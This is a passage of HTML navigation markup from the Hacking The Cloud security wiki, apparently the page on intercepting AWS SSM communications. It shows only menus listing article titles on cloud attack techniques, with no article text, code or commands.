tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Intercept SSM Communications </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Intercept SSM Communications </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#intercept-ec2-messages class=md-nav__link> <span class=md-ellipsis> Intercept EC2 Messages </span> </a> </li> <li class=md-nav__item> <a href=#intercept-ssm-sessions class=md-nav__link> <span class=md-ellipsis> Intercept SSM Sessions </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li 